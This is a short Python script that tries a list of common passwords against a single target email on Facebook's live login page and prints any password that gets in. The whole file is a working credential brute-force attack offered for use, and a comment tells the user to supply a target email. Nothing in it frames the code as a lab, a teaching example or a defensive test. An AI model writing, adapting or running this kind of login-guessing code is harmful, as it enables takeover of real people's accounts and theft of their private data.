import requests
def brute_force_facebook(email, password_list):
login_url = "https://www.facebook.com/login.php"
headers = {
"User-Agent": "Mozilla/5.0"
}
for password in password_list:
response = requests.post(login_url, data={
"email": email,
"pass": password
}, headers=headers)
if "home_icon" in response.text or "c_user" in response.cookies:
print(f"[+] Password found: {password}")
return password
else:
print(f"[-] Password failed: {password}")
print("[!] Password not found in list")
return None
# Replace with the target email and a list of possible passwords
email = "
[email protected]"
password_list = ["123456", "password", "letmein", "qwerty", "abc123"]
brute_force_facebook(email, password_list)